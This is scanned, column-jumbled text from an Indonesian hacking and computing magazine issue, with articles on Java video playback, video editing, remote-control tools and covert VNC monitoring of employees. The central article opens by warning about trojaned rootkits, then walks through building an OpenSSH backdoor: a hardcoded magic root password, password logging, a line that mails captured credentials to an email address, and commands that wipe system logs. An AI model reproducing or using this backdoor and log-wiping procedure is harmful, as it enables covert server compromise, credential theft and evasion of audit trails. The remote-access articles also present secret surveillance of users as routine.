S API (MMAPI), kini kita akan belajar bagaimana mem-
playback video menggunakan MMAPI.
seri 6 (7650 / 3650) ini (bisa Anda baca lagi artikel
sebelumnya, yaitu: "Karakteristik ponsel Java-enabled dari
Secara garis-besar, cara-caranya hampir mirip dengan artikel Nokia").
sebelumnya ("Bermain Musik dengan Mobile Media API - Maka, penulis hanya menampilkan cuplikan sekitar satu menit
Bagian Kedua"), hanya tentunya ada beberapa perbedaan. terakhir dan mengurangi fps (frame per second). Pengurangan
Salah satunya adalah kita harus bit-rate dari format audio (narrow-
membuat canvas untuk men-display AMR) tidak begitu berpengaruh
tampilan video tersebut. banyak terhadap ukuran file hasil
Untuk file video-nya, penulis konversi. Jika bit-rate dari format
mempergunakan video clip dari Tatu audio terlampau rendah, malah di
dengan judul "30 Minutes" yang telah emulator tidak keluar suara sama
dikonversi ke format 3GPP. Cara-cara sekali, sekalipun dapat berjalan
pengkonversiannya bisa Anda baca dengan baik di Nokia Multimedia
pada artikel sebelumnya, yaitu Converter.
"Mengenal Nokia Multimedia Souce-code selengkapnya bisa Anda
Converter 2.0". peroleh pada CD NeoTek yang
Sayangnya, hingga saat ini belum ada disertakan.
ponsel Nokia yang mengimplemen- Salah satu kelemahan Java adalah
tasikan cara pembacaan removable membutuhkan resource (sumber
media (contoh: multi-media card / daya) yang lumayan besar. Akibatnya
MMC) untuk aplikasi MIDP, sehingga saat kita mencoba aplikasi dengan
file multi-media tersebut mau tidak MMAPI di emulator, terkadang aplikasi
mau harus disertakan di dalam file .jar tidak berjalan sebagaimana mestinya
sebagai resource. Oleh karena itu, kita (hang).
harus memperhitungkan ukuran file

18 NeoTek Vol. IV No. 03


NeoStyle

BA S I C V I D E O E D I T I N G
Combining & Editing (2)
Andi Ismayadi (Fuzk3_kendi@yahoo.com) meneruskan bahasan mengenai
combining (diantaranya dengan menyusun dulu storyboard) dan editing menggunakan
berbagai fasilitas yang tersedia pada Pinnacle studio 8

ETELAH BERKENALAN DENGAN PINNACLE STUDIO 8, DAN Dalam menyusun adegan-adegan Video editing pada dasar-
S apa saja yang terdapat dan apa yang dapat dilaku-
kannya, sekarang kita bisa memulai proses yang
tadi intro sebaiknya diawali
dengan judul tema video itu,
nya adalah proses-proses
sebagai berikut:
terlama dan membutuhkan kesabaran dan juga kreativitas lalu disusun dalam rangkaian • Encoding
editornya. rekaman awal. Misal anda me- • Cutting
Pada proses ini kita akan berlajar menempatkan adegan- rekam satu peristiwa ulang • Combining
adegan (scenes) yang telah kita potong secara rapi agar ti- tahun, nah awal dari adegan itu • Editing
dak ada yang patah sewaktu pergantian adegan; mengatur tentunya datangnya para tamu, • Encoding (lagi)
lalu tiba orang yang berulang • Burning
cahaya dan kualitas gambar; serta memasukan suara baik
itu musik latar maupun Sound FX. Juga menempatkan tahun, dan diteruskan dengan
judul dan tulisan dalam video itu. peniupan lilin yang diikuti dengan penyanyian lagu ulang
tahun. Selanjutnya pesta berlangsung dan berakhir dengan
Dalam bagian ini hanya dibahas hal-hal dasar umum, un- pulangnya para tamu dan ditutup dengan kalimat penutup.
tuk hasil kualitas itu tergantung dari editornya yaitu anda
sendiri, bagaimana anda mengatur semua adegan tadi men- Alur pembuatan video juga sangat mendukung pembuatan
jadi satu kesatuan video yang bagus dalam storyboard yang video clip yang sempurna. Untuk itu sebelumnya anda su-
ada dalam Pinnacle Studio 8. dah harus menentukan tema apa yang akan anda pakai
dalam proses recording dan proses pengeditan ini.

Combining dan Editing dengan Pinnacle Studio 8

BUKA FILE UNTUK DIEDIT DIPECAH JADI BEBERAPA SCENE MENYUSUN STORYBOARD
1 Pertama-tama kita buka file yang
akan kita buka, file video/scene
2 Ketika dibuka file tadi langsung
dideteksi oleh Pinnacle untuk
3 Setelah itu terlihat video yang ter-
potong-potong dalam bebeapa
yang akan dibuka dan di edit memecahnya menjadi beberapa scene tadi. Anda tinggal men-
nantinya. scene lagi. drag n drop scene tadi ke dalam
story board. Ketika scene tadi
sudah di drop akan terlihat tan-
da centang di pojok kanan scene
tadi. Disini kreativitas anda dibu-
tuhkan dalam menyusun scene-
scene tadi dalam storyboard itu.

PERGANTIAN SCENE
4A Dalam pergantian adegan video
sangat dibutuhkan sebuah efek
yang menyatakan bahwa scene
A sudah berakhir dan akan ma-
suk ke scene B. Pastinya akan
Kurang bagus apabila anda tidak
memasukan efek Transisi di an-
tara scene tadi, karena akan ter-
lihat scene itu patah dalam pro-
ses pergantian alur.

Vol. IV No. 03 NeoTek 19


NeoStyle

EFEK FADE IN TITLE UNTUK VIDEO DUA JENIS TITLE


4B Efek yang sering digunakan ada-
lah Transisi Fade In dimana
5 Seperti yang sudah dijelaskan
diatas dalam pengaturan alur
6 Dalam menu title ini ada dua
jenis penulisan Judul yaitu Title
ketika scene A akan berganti ke video itu, kita butuh sebuah Title Overlay dan Full Screen Title.
Scene B akan terlihat pergantian atau judul video itu, dengan (scene) pada video anda.
secara slow motion dengan ada- menu Title yang terdapat dalam
nya pergeseran gambar A ke B. software ini.

FULL SCREEN TITLE TITLE OVERLAY KOMENTAR PADA OVERLAY


7 Full Screen Title adalah Judul
yang anda buat dengan menge-
8 Title Overlay adalah judul yang
anda ketikan dalam area video
9 Enaknya dengan Title Overlay ini
anda dapat membuat komentar
tikkan judul yang anda inginkan scene itu sehingga judul itu ataupun teks terjemahan. Dan
dalam sebuah sepebuhnya layar akan terlihat dengan adanya dalam jenis pemilihan judul ini
kosong tanpa adanya back- background scene anda tadi. akan ada efek slide roll up dan
ground scene tadi. Ini sangat crawl. Bedanya dengan roll Up
cocok untuk membuat judul teks anda akan bergerak ke atas,
yang sama dengan tema anda. sedangkan Crawl teks anda akan
bergerak ke sampin kiri.

GRAFIK DAPAT DIGUNAKAN UNTUK TITLE MENGATUR KECEPATAN PLAYBACK


10 Tidak hanya teks saja yang dapat anda masukan seba-
gai Title, tapi juga gambar, photo, dan juga gambar-
11 Anda juga dapat mengatur kecepatan playback video
anda
gambar tombol.

20 NeoTek Vol. IV No. 03


NeoStyle

MENGATUR KECERAHAN GAMBAR KONFIGURASI SUARA


12 Setelah menata scene dan menambahkan efek Transisi
dan juga title agak kurang pas apabila tidak didukung
13 Juga sangatlah hambar video anda tanpa adanya Musik
dan efek-efek suara.Anda dapat memasukan musik
oleh warna gambar yang cerah. Dalam menu yang kesukaan anda kedalam file video anda.
terdapat dalam software video editing ini.

MUSIK KE SOUND LAYER PENGATURAN MUSIK SESUAI SCENE


14 Masukan Musik anda ke dalam layer
sound yang terletak dibawah layer
15 Musik dapat dimaksimalkan seperti halnya film bioskop ataupun konser live.
Pada bagian sound terdapat garis biru yang menandakan naik-turunnya nada.
Title. Disarankan menurunkan nada itu pada awal video dijalankan sehingga suara dan
scene awal sejalan. Pada akhir scene dapat diturunkan atau naikkan sehingga
ada kesan warna nada musik mengikuti alur scene.

OPSI-OPSI SOUND LANGSUNG DARI MIC MENGEDIT ADEGAN


16 Apabila musik kurang maksimal,
naikkan pada opsi menu sound.
17 Untuk para pembuat film, apa-
bila sulit memasukkan suara
18 Setelah anda rasa cukup setelah
sekian lama mengedit video, su-
Juga dapat merekam suara dari adegan dialog film anda, disini paya tidak hilang, simpan project
mic dan memasukkannya kedalam disediakan perkaman dari mic anda tadi. Dapat diteruskan di
background, atau rip audio dari cd. Real Time langsung ke PC. kemudian hari.

Vol. IV No. 03 NeoTek 21


NeoTekno

hacker kena hack sendiri


Bahaya Backdoor Rootkit
Betha Aris S (scut@kecoak.or.id) mengingatkan pada script kiddies bahaya memakai begitu saja
rootkit yang bertebaran di Internet. Backdoor rootkit, misalnya sangat mungkin malah berisi
trojan yang akan mengirim hasil kerja anda ke emial pembuatnya.

ada edisi kali ini, penulis tidak membahas lebih dengan menghapus baris $md5sum=*@*.* atau mail
P lanjut tentang cara kerja remote exploit ataupun
local exploit. Namun penulis ingin mengulas lebih
$md5sum
Sampai disini kita sudah bisa mengamankan diri agar
jauh tentang backdoor, salah satu rootkit yang menjadi tidak terjebak oleh rootkit yang kita gunakan sendiri.
andalan para hacker untuk mencari lebih jauh informasi
tentang server. Baik mencatat hasil login yang keluar ma- Selanjutnya mungkin kawan-kawan bertanya apakah bisa
suk didalam server ataupun informasi yang lebih lanjut kita sendiri membikin backdoor dengan memanfaatkan
tentang aktivitas sysadmin. file yang sudah ada? Jawaban adalah bisa!
Backdoor menjadi menarik dibahas mengingat banyak se- Server dan Paket OpenSSH
kali newbies (hacking script kiddies) yang memakai root-
kit tersebut namun acapkali tak disadari bahwa di dalam Ada beberapa paket openSSH (h http://www.openssh.com)
backdoor yang dia gunakan terselip trojan lain, sehingga yang dapat kita manfaatkan untuk membuat backdoor.
apa semua informasi yang dia dapatkan juga disadap oleh Diantaranya adalah openSSH-3.4p1, openSSH-3.5p1, dan
orang lain (sang pembuat backdoor). openSSH-3.6.1p2. NeoTek III/4 pernah membahas cara
membuat backdoor menggunakan openSSH-3.5p1. Yang
Salah satu bentuk backdoor yang mungkin banyak digu- kita bahas disini adalah cara membuat backdoor meng-
nakan oleh hacker secara umum adalah backdoor type ssh gunakan paket openSSH-3.6.1p2 karena type ini tergo-
(shv4) yang bisa anda download di long baru.
http://beatbox.suidzer0.org/files/shv4.tar.gz Adapun yang perlu dipersiapkan adalah sebuah server un-
release 2002 oleh pinturichi. Toolkit tersebut hendaknya tuk ujicoba backdoor, sedangkan paket openSSH-3.6.1p2
sebelum digunakan terlebih dahulu dibuka source code- bisa anda download di http://www.openssh.com atau
nya. Mungkin sebagian kawan-kawan belum mengetahui http://www.openbsd.org
bahwa di dalam source code itu ada trojan yang mengirim
magic password ke email author dari backdoor tersebut.
Bagaimana kita mengetahuinya? Coba simak file setup
dibawah ini yang menjadi bagian dari backdoor shv4.tar.gz
./encrypt -e .shmd5 /dev/srd0
rm -rf .shmd5
Baris di atas berarti semua logger disimpan dalam direk-
tori /dev/srd0 yang kemudian dicatat dan dikirimkan ke
email author yang dapat kita simak dalam kutipan berikut:
#echo "$1:$2:`hostname -f`:$MYIPADDR:$dport" | mail $md5sum
endtime=`date +%S`
total=`expr $endtime - $startime` Download openSSH-3.6p2 dengan perintah wget:
# wget http://sunsite.ualberta.ca/pub/OpenBSD/OpenSSH/
Didalam source tersebut terlihat bahwa setelah membaca portable/openssh-3.6.1p2.tar.gz
setiap password yang masuk ataupun diganti, maka akan
dikirimkan email dengan perintah mail $md5sum
Perhatikan pula kutipan file setup berikut: File Injeksi
#md5sum=leshmadhi80@yahoo.com Siapkan file injeksi untuk patching paket openSSH yang
Nah, kalau kita sendiri tidak jeli dalam membaca source hendak kita jadikan backdoor. Lampiran file patch untuk
code dan kita tidak ambil pusing barisan perintah diatas, openSSH adalah sebagai di bawah ini atau dalam file
maka kita akan terjebak sendiri dengan rootkit yang kita Injeksi.txt dalam CD NeoTek edisi ini.
gunakan. Hacker kena hack sendiri... # THIS PATCH IS FOR STUDYING PURPOSES.
# KECOAK ELEKTRONIK PROPERTIES 2003.
Bagaimana mengatasinya? # TESTED WITH openBSD 3.2 also FreeBSD-4.8
diff -uNr openssh-3.6.1p2/auth-passwd.c openssh-backdoor/auth-passwd.c
Pertama bisa kita lakukan adalah mengedit command --- openssh-3.6.1p2/auth-passwd.c 2003-04-29 10:12:08.000000000 +0100
+++ openssh-backdoor/auth-passwd.c2003-07-06 19:01:44.000000000 +0100
md5sum=leshmadhi80@yahoo.com dengan mengubah ke
email kita sendiri, atau dapat kita gunakan langkah kedua dst...

22 NeoTek Vol. IV No. 03


NeoTekno

Ekstrak File Bash Scripting


Setelah anda mendownload paket openSSH-3.6.1p2, lang- Yang penting disini adalah bagaimana cara menginstalasi
kah berikutnya yang perlu anda lakukan adalah backdoor tersebut?
mengekstrak file tersebut dengan perintah Untuk lebih mudahnya penulis menggunakan bash
# tar -zxvf openSSH-3.6.1p2 scripting dalam instalasi backdoor.
Ada 4 jenis script disini:
1. Mulai.txt (untuk compile backdoor)
2. Testing.txt (Mencoba masuk dengan magic passwd)
3. Confnya.txt (Menentukan letak PATH untuk logger)
4. Cari.txt (Untuk mencari PID sshd untuk di restart)
Keempat skript di atas dapat diperoleh dalam CD NeoTek
edisi ini. Simpan keempat bash scripting tersebut dalam
direktori openSSH yang sudah di-patch menggunakan
file injeksi sesuai dengan nama masing-masing.
Jangan lupa agar keempat file tersebut bisa dieksekusi
Copy File berikan command:
Kemudian copy file patch ke dalam direktori openssh dan # chmod +rx mulai
dilanjutkan dengan patch kedalam openSSH dengan # chmod +rx testing
command: # chmod +rx confnya
# chmod +rx cari
# cp openssh-3.6.1p2-backdoor.patch openSSH-3.6.1p2
# cd openSSH-3.6.1p2
# patch -p1 < openssh-3.6.1p2-backdoor.patch

Backdoor.h
Menjalankan Script
Setelah proses patching dilakukan maka akan terbentuk
file backdoor.h yang magic password yang digunakannya Setelah keempat file tersebut anda simpan sesuai dengan
bisa anda edit sendiri maupun PATH untuk logger server. nama masing masing atau bisa anda ubah sendiri. Maka
kita uji coba dengan menjalankan openSSH kedalam
Yang perlu diperhatikan dalam file backdoor.h adalah server kita sendiri dengan mengetikkan command:
magic password menggunakan kecoak-elektronik untuk
login menggunakan akses root dengan fake login. Yang # ./mulai
artinya kita disini masuk menggunakan akses root de-
ngan password palsu (tidak menggunakan password asli
root) dan juga tidak tercatat kedalam log yang ada di
dalam server.
Yang kedua PATH untuk menyimpan file logger yang ada Proses mulai disini mencakupi proses testing, dan confnya
di dalam server ada di direktori /tmp dengan nama file Setelah semua selesai kita lanjutkan untuk mencari nomor
pass_ssh.log. Magic password dan letak dari file PATH PID dari sshd yang telah terinstal dengan menjalankan
bisa anda ubah sesuai keinginan anda. script cari
/* backdoor stuff */ # ./cari
#define BACKDOORPASSWD "kecoak-elektronik"
#define LOGGING_PASSWORDS 1
#define PASSWORDS_LOG_FILE "/tmp/pass_ssh.log"
int backdoor_active;
Nah nomor PID yang hendak kita restart telah muncul di
Anjuran bash prompt server.
Hendaknya letak PATH diletakkan di /dev/hdal, agar dapat Misalnya nomorvPID-nya adalah 2355 maka kita restart
kita memperbaharui file backdoor.h dengan command
/* backdoor stuff */ # kill -HUP 2355
#define BACKDOORPASSWD "kecoak-elektronik"
#define LOGGING_PASSWORDS 1
#define PASSWORDS_LOG_FILE
"/dev/hda1/pass_ssh.log"
int backdoor_active;

Vol. IV No. 03 NeoTek 23


NeoTekno

Membersihkan Jejak
Selanjutnya yang perlu dilakukan adalah membersihkan
file-file yang ada dan jangan lupa untuk membersihkan
log anda secara manual ataupun dengan menggunakan
log remover.
Dengan cara manual dapat anda lakukan dengan menge-
tikkan baris command berikut berikut ini
# echo >/var/spool/mail/root
# echo >/var/run/utmp
# echo >/var/log/wtmp
# echo >/var/log/lastlog
# echo >/var/log/messages
# echo >/var/log/secure
# echo >/var/log/maillog
# echo >/var/log/xferlog AGI PARA ADMIN JARINGAN YANG SUDAH BIASA MENG-
# echo >/root/.bash_history B gunakan Novell, saya yakin anda pasti masih ingat
dengan remote console (RCONSOLE.EXE), yaitu
sebuah utilitas yang fungsinya untuk memudahkan kita
mengakses konsol server dari jarak jauh (Gambar 1 dan 2)
Setelah kita migrasi ke Windows, ternyata utilitas sejenis
itu masih tetap kita butuhkan, khususnya dalam rangka
maintenance maupun hacking dalam lingkup intern (lokal).
Program (utilitas) yang saya bahas dalam artikel saya kali
ini adalah COOL! Remote Control. Alasan saya memilih-
nya, karena selain kaitannya untuk hal di atas, program
ini juga ternyata memiliki sejumlah fitur yang tidak ada
pada program lain atau yang sejenis dengannya.

Tahap Akhir
Setelah semua bisa berjalan dengan sukses. Pertanyaan
selanjutnya bagaimana agar backdoor yang sudah berhasil
kita compile dapat secara otomatis mengirim log-log ke
email kita?
Yang perlu diperhatikan disini adalah sedikit menam-
bahkan baris pada file auth-passwd.c yang ada didalam
openSSH dengan disisipi baris berikut:
fprintf (outf, "%s:%s:%s:%d\n",pw-
>pw_name,password,get_remote_ipaddr(), get_local_port()
); system("tail -1 /dev/zer0/pass_ssh.log | mail scut@kecoak.or.id");
Baris command tersebut dapat anda ubah dengan editor
pico ataupun vi didalam server anda. Dan email dapat
anda ubah sesuai dengan email anda sendiri.
Sekian bahasan singkat dari kami, apabila ada pertanyaan Gambar 1. Tampilan program Remote Console milik Novell
silahkan kirimkan email ke scut@kecoak.or.id dan juga
bisa anda hubungi lewat IRC DAlnet dengan ID scut di
channel #kk-elektronik dan #indohack
MOTTO:
Hacking is about thinking for yourself.
Hacking needs a place for meeting, discussing, testing, proving,
questioning, designing, redesigning, engineering, reengineering,
searching, researching, hacking, phreaking, brainstorming and
understanding.
As our world is getting more and more complex,
gaining and sharing knowledge is key to survival.
There is a need for open communication and a free,
unlimited exchange of ideas and concepts.

Salam hangat,
Betha Aris S - Scut
<scut@kecoak.or.id - scut@k-elektronik.org>

Thanks to:
fwerd, samurai_hack, ceyen, rollan, cbug, r3dshadow, logC, gothgirl,
deGleng, cahcephoe, infidra, ftp_geo, dj-psyco, sco, madi, anjaz
Artikel ini diedit oleh MA Rody Candera (odyxb@melva.org) Gambar 2.Menjalankan modul INSTALL.NLM secara remote

24 NeoTek Vol. IV No. 03


NeoTekno

Seperti Trojan tapi Bukan


COOL! Remote Control
Remote Control software seperti juga halnya trojan selalu merupakan software yang menarik
untuk ditelaah. Eryanto Sitorus (ery@postmaster.co.uk) kali ini memperkenalkan COOL!
Remote Control lengkap dengan kemampuan-kemampuannya yang mirip dengan trojan.

Beberapa diantaranya adalah sebagai berikut:


• Mampu memvisualisasikan layar komputer remote secara
real-time.
• Menyediakan fasilitas transfer file dari atau ke dalam
komputer remote.
• Dimungkinkan untuk melakukan perintah shutdown, reboot,
logoff atau sleep secara remote.
• Mendukung LZW compression arithmetic. Gambar 5. Tentukan
• Drive CD-ROM komputer remote bisa ditutup atau dibuka shortcut foldernya.
secara remote.
• Alamat-alamat IP komputer yang bisa di remote akan di scan
secara otomatis.
• Komputer-komputer yang bisa di remote akan diproteksi oleh
password. Gambar 6. Tunggu
sampai proses instalasi
• Mendukung Windows XP. benar-benar selesai.
Sekedar informasi tambahan, program COOL! Remote
Control dapat dioperasikan dengan baik pada Windows
95/98/ME/NT/2000 atau XP, dengan specs minimum:
8MB memory serta 4MB hard disk. Selain itu, pastikan
bahwa anda juga sudah menginstal protokol TCP/IP, baik
di komputer lokal maupun pada komputer yang di remote.
Dan satu hal lagi, meskipun program ini bisa digunakan Gambar 7. Pesan bahwa
untuk hacking, anti virus tidak akan pernah menganggap- program telah selesai di-
nya sebagai virus (trojan). instal.

Menginstal dan Mengoperasikan 2. Setelah proses instalasi selesai, segera jalankan


Untuk membuktikan bahwa program ini memang layak (aktifkan) program Remote Control Server dari menu
anda pakai, maka pada bagian ini saya akan menjelaskan Start > Program (lihat Gambar 8).
cara menginstal dan mengoperasikannya, termasuk pada
saat kapan program ini perlu kita operasikan. Langkah-
langkahnya adalah sebagai berikut:
A. Menginstal COOL! Remote Control di Komputer Remote
1. Pertama-tama ten-
tukanlah salah satu kom-
puter yang akan anda re-
mote, atau yang menjadi
server program ini. Ke-
mudian lakukan proses
instalasi.
Gambar 3. Memulai
proses instalasi.

Gambar 8. Menjalankan program Remote Control Server dari


menu Start.

Gambar 9. Tampilan ikon


Gambar 4. Tentukan Remote Control Server setelah
direktorinya. diaktifkan.

Vol. IV No. 03 NeoTek 25


NeoTekno

Jika ikon tersebut anda klik kanan, maka ada dua hal yang
bisa anda lakukan terhadap program Remote Control Server.
Pertama untuk melihat alamat IP komputer tempat dia di
instal, dan yang kedua untuk mengisi atau mengganti
kata sandinya (lihat Gambar 10 dan 11).

Gambar 10. Melihat


alamat IP server.

Gambar 11. Mengubah


kata sandi server.

B. Menginstal COOL! Remote Control di Komputer Lokal Gambar 13. Melihat daftar disk dan folder yang bisa diakses.
1. Tentukan komputer tempat di mana anda akan
meremote komputer yang menjadi server program
COOL! Remote Control. Setelah itu lakukan proses
instalasi dengan cara yang sama seperti yang sudah
dijelaskan di atas.
C. Mengoperasikan COOL! Remote Control
1. Dari komputer lokal, klik Start > Program >
COOL! Remote Control, pilih COOL! Remote
Control 1.12.
2. Klik Main > Connect To, lalu pilih salah satu
alamat IP komputer yang akan anda remote, klik OK.

Gambar 14. Masuk ke dalam modus Full Screen Control.

Gambar 12. Memilih salah satu IP komoter remote.


Jika anda sudah benar-benar terhubung ke komputer re-
mote, kotak Remote Disks akan segera menampilkan drive
(disk) beserta folder-folder yang terdapat didalamnya,
seperti yang terlihat pada Gambar 13. Kliklah salah satu
folder tersebut untuk menampilkan semua file yang ada
didalamnya.
Catatan: Fungsi yang paling terpenting dari program ini ada-
lah pada bagian Full Screen Control, karena disitulah anda
nanti bisa melakukan beberapa hal terhadap komputer remote.
Misalnya, men-shutdown komputer, menjalankan program
(aplikasi), melihat yang sedang mereka ketik, dan lain seba-
gainya. Sekedar contoh, lihatlah beberapa gambar yang telah
berhasil saya tangkap dari salah satu komputer remote. Gambar 15. Notice dari program COOL! Remote Control.

26 NeoTek Vol. IV No. 03


NeoTekno

Gambar 16. Menjalankan MS-DOS Prompt secara remote. Gambar 19. Mengkonfigurasi setting Network secara remote.

Gambar 17. Mencetak berkas (dokumen) secara remote. Gambar 20. Mengedit Registry secara remote.

Gambar 18. Bermain game secara remote. Gambar 21. Men-shutdown komputer secara remote.

Vol. IV No. 03 NeoTek 27


NeoTekno

VI RTUAL N ET WO R K CO M P UTI N G
Spion Boss di Tempat Kerja
Adjie Benni (benipro@telkom.net) dengan cerdik memanfaatkan software gratis
Virtual Network Computing (VNC) untuk melakukan pengawasan terhadap pemakaian
komputer-komputer dalam suatu jaringan. Pengawasan melekat tanpa perlu mendekat.

EBAGAIMANA TELAH KITA KETAHUI, UNTUK MEMANTAU


S sekumpulan orang atau anggota kelompok sebuah
institusi seperti; siswa atau mahasiswa di ruang labo-
ratorium komputer, pemakai pc di tempat rental dan warnet
atau karyawan dalam suatu perusahaan kadang kala 'susah-
susah gampang'.
Seorang karyawan yang sedang bekerja; dalam hal ini khu-
susnya yang menggunakan dan terhubung ke jaringan kom-
puter di kantor, sering kali melakukan sesuatu di luar hal-hal
yang berkaitan dengan pekerjaannya. Gambar 1. Kotak Dialog Info WinVNC
Misalkan seorang karyawan yang terlihat sedang sibuk dan
sangat berkonsentrasi sekali dengan komputer yang ada di melalui situs resminya http://www.realvnc.com atau menda-
depan meja kerjanya, tetapi begitu kita hampiri dan perhati- patkannya dalam CD NeoTek edisi ini.
kan secara seksama ternyata karyawan tersebut malah sedang Yang hebat lagi dari program tersebut sudah dilisensi GPL
asyik bermain game atau sedang chating atau ngobrol de- (General Public License) artinya selain freeware atau gratis
ngan pengguna komputer lainnya dari luar sana (Internet). juga bersifat open source (baris-baris programnya dapat kita
Biasanya karyawan yang kita perhatikan atau kita dekati lihat) sehingga dapat merangsang kita untuk membuat
akan langsung secara cepat mengalihkan program komputer program serupa yang cocok dengan kebutuhan atau
yang ada di hadapannya dengan program pekerjaannya, biar bergabung untuk mengembangkan program tersebut lebih
tidak ketahuan. lanjut lagi.
Nah, kalau sudah begini bisa berabe kita, sumber daya ma- Selain yang berbasis sistem operasi Windows, program ini
nusia, peralatan, waktu bahkan biaya habis terbuang percuma pun dikembangkan dalam beberapa sistem operasi lainnya
untuk hal-hal yang tidak berguna. Tetapi untuk selalu meman- seperti Linux (info selengkapnya kunjungi situs resminya).
tau kerja karyawan dengan selalu berkeliling dari satu meja Berikut ini saya akan menjelaskan bagai mana cara memasang
ke meja kerja lainnya?! Itu sih bukan zamannya lagi. dan menggunakan program tersebut secara tahap demi tahap
Berdasarkan hal tersebut di atas kemudian saya mencoba dalam sistem operasi keluarga Windows. Selamat memantau
mencari sebuah program yang bisa memantau karyawan dari karyawan!
jarak jauh alias remote sehingga karyawan yang kita perha-
tikan atau kita pantau tidak tahu bahwa segala tindak-tanduk- Download WinVNC 3.3.7
nya di depan komputer sedang kita awasi dari komputer di Download secara gratis program WinVNC Version 3.3.7
ruang kerja kita, tanpa perlu 'menengok' ke meja kerjanya. (pengguna Windows) untuk pengguna selain Windows pun
Berkaitan dengan itu, kemudian saya mencoba mejelajahi dapat memperolehnya juga dari http://www.realvnc.com
Internet dan mencari-cari sebuah program komputer yang melalui browser yang anda gunakan.
memiliki kemampuan untuk melakukan pemantauan kom-
puter desktop dari jarak jauh (remote) namun dengan sarat
program tersebut haruslah kecil, simpel, mudah pengopera-
siannya, dan yang terpenting gratis.
Saya sudah menggunakan program Remote Administrator
dari Dmitry Znosko (h http://www.mtu-net.ru/radmin/) na-
mun karena bersifat shareware (boleh mencoba dahulu sela-
ma 30 hari setelah itu harus membayar untuk bisa menggu-
nakan selamanya) maka harus cari akal mencari program
serupa tapi gratis, maka mulailah pencarian program peng-
ganti dengan sarat-sarat yang telah disebutkan di atas.
Dari hasil penjelajahan saya di Internet akhirnya saya mene-
mukan program yang saya cari tersebut dengan spesifikasi
yang sesuai seperti yang saya inginkan. Program tersebut
adalah RealVNC (Virtual Networking Computing) dibuat
oleh James Weatherall pada tanggal 5 Maret 2003 - program
yang saya pakai adalah WinVNC Version 3.3.7, untuk men-
dapatkan program tersebut Anda dapat men-download-nya Gambar 2. Mendownload RealVNC dari situs www.realvnc.com

28 NeoTek Vol. IV No. 03


NeoTelkno

Instalasi WinVNC 3.3.7


Setelah berhasil mendownload,
jalankan program instalasi de-
ngan cara double click nama
program tersebut. Program ini
berukuran 563 KB dan setelah
dipasangkan di komputer ha-
nya menghabiskan tempat
sebesar 764 KB saja. Gambar 12.Kotak Dialog Gambar 13. Kotak Dialog
Gambar 3. Menjalankan File Informasi dan Distribusi Selesainya Proses Instalasi
Program VNC-3.3.7-x86_win32 Program VNC
Mengakses VNC Server atau VNC Viewer
Proses instalasi program WinVNC selengkapnya dapat di-
lihat pada beberapa rangkaian gambar berikut ini, untuk Berikutnya setelah proses instalasi selesai, di menu program
mudahnya Anda dapat memilih Next untuk melanjutkan akan tampil baris menu baru dengan nama RealNVC yang
proses instalasi dan memilih Yes apabila dimintai perse- terdiri dari beberapa submenu lainnya. Selengkapnya lihat
tujuan (setelah selesai proses instalasi pun kita juga dapat Gambar 14 dan 15.
mengubah atau mengaturnya di belakang hari):

Gambar 14. Menu RealVNC dengan Sub Menu VNC Server

Gambar 4. Kotak Dialog Se- Gambar 5. Kotak Dialog Per-


lamat Datang dari VNC Setup setujuan Lisensi

Gambar 15. Menu RealVNC dengan Submenu VNC Viewer

Selain itu Anda pun dapat mengakses RealVNC dari system


tray yang terpasang secara otomatis dengan menu yang da-
pat diaktifkan dengan menekan tombol kanan mouse pada
icon-nya.

Gambar 6. Kotak Dialog Pe- Gambar 7. Kotak Dialog Pe-


milihan Tempat Menyimpan milihan Komponen Instalasi
Hasil Setup

Gambar 16. Menu WinVNC dan VNC Viewer di System Tray


Windows

Lakukan hal yang sama pada seluruh komputer yang ingin


Anda pantau kegiatannya.
Perhatikan bahwa program ini akan mengenali komputer
yang terhubung di jaringan berdasarkan nama host atau
Gambar 8. Kotak Dialog Pilih- Gambar 9.Kotak Dialog Pem- komputer yang terpasang.
an Pemasangan di Folder buatan Icon dan Konfigurasi
dan Menu Start
Kotak dialog Network Win-
VNC Server
dows didapat dengan klik
kanan mouse pada icon Net-
work Neighborhood. Klik tab
Identification, catat nama
yang ada pada kotak Com-
puter name karena akan kita
jadikan nama client atau na-
ma komputer yang akan kita
hubungi (pantau) nantinya.

Gambar 10. Kotak Dialog Gambar 11. Kotak Dialog Gambar 17. Contoh Kotak
Siap Melakukan Instalasi Proses Instalasi Dialog Network di Windows

Vol. IV No. 03 NeoTek 29


NeoTekno

Setting RealVNC Menjalankan VNC Viewer


Setelah kita mencatat seluruh pengguna komputer yang ada Untuk menghubungi komputer lain secara remote, double click
di komputer kita, setel RealVNC pada masing-masing kom- icon VNC Viewer di desktop komputer. Jika icon VNC Viewer
puter yang terhubung dengan jaringan sehingga dapat kita tidak muncul di desktop karena tidak diaktifkan pada saat
akses atau pantau melalui fasilitas VNC Viewer. proses instalasi aktifkan dari submenu Run Listening VNC
Yang harus kita perhatikan adalah seluruh komputer yang Viewer pada menu VNC Viewer.
akan kita pantau haruslah di-set pada posisi VNC Server, Kemudian klik kanan mouse pada icon VNC Viewer yang
artinya komputer tersebut akan bertindak selaku server (pe- ada di system tray tersebut maka akan muncul kotak dialog
layan) pada komputer lainnya yang diberi hak untuk meli- Connection details, isilah nama komputer yang akan kita
hat, memantau atau mengendalikannya dari jarak jauh akses secara remote. Anda juga bisa mengatur pilihan ko-
(remote access) dengan cara mengaktifkan layanan server neksinya dengan memilih tombol Options…
VNC dengan memilih Register VNC Server Service dari Gambar 21. Kotak
menu VNC yang tersedia. Dialog Connection
Ini sangat penting karena kita tidak dapat mengaktifkan details
menu-menu lainnya sebelum mengaktifkan server service
terlebih dahulu. Layanan server VNC akan secara otomatis
aktif jika Anda memberi tanda centang ( ) pada kotak
pilihan Register VNC Server as System Service sewaktu
proses instalasi.
Gambar 18.
Mengaktifkan
Menu Register
VNC Server
Service

Langkah berikutnya adalah menyetel seluruh komputer


yang terpasang di jaringan untuk bisa diakses melalui
fasilitas VNC Viewer. Terdapat dua buah submenu pilihan
yang harus Anda isi dengan benar yaitu: Gambar 22. Kotak
Dialog Pilihan Koneksi
Dengan mengaktifkan dan mengisi kotak dialog WinVNC: RealVNC
Default Local System Properties atau Show Default
Properties dari submenu Add New Client pada menu VNC
Server. Isilah kotak Password sesuai keinginan Anda untuk Gambar 23. Kotak Dialog Pengisian Password
mengaktifkan fasilitas remote akses dari komputer yang Klik OK, kita akan disuguhi kotak dialog pengisian password
kita remote (memantau komputer lain dari komputer yang dari komputer yang kita tuju. Isilah untuk mulai memantau.
kita akses secara remote)
Berikutnya di layar monitor Anda akan muncul jendela yang
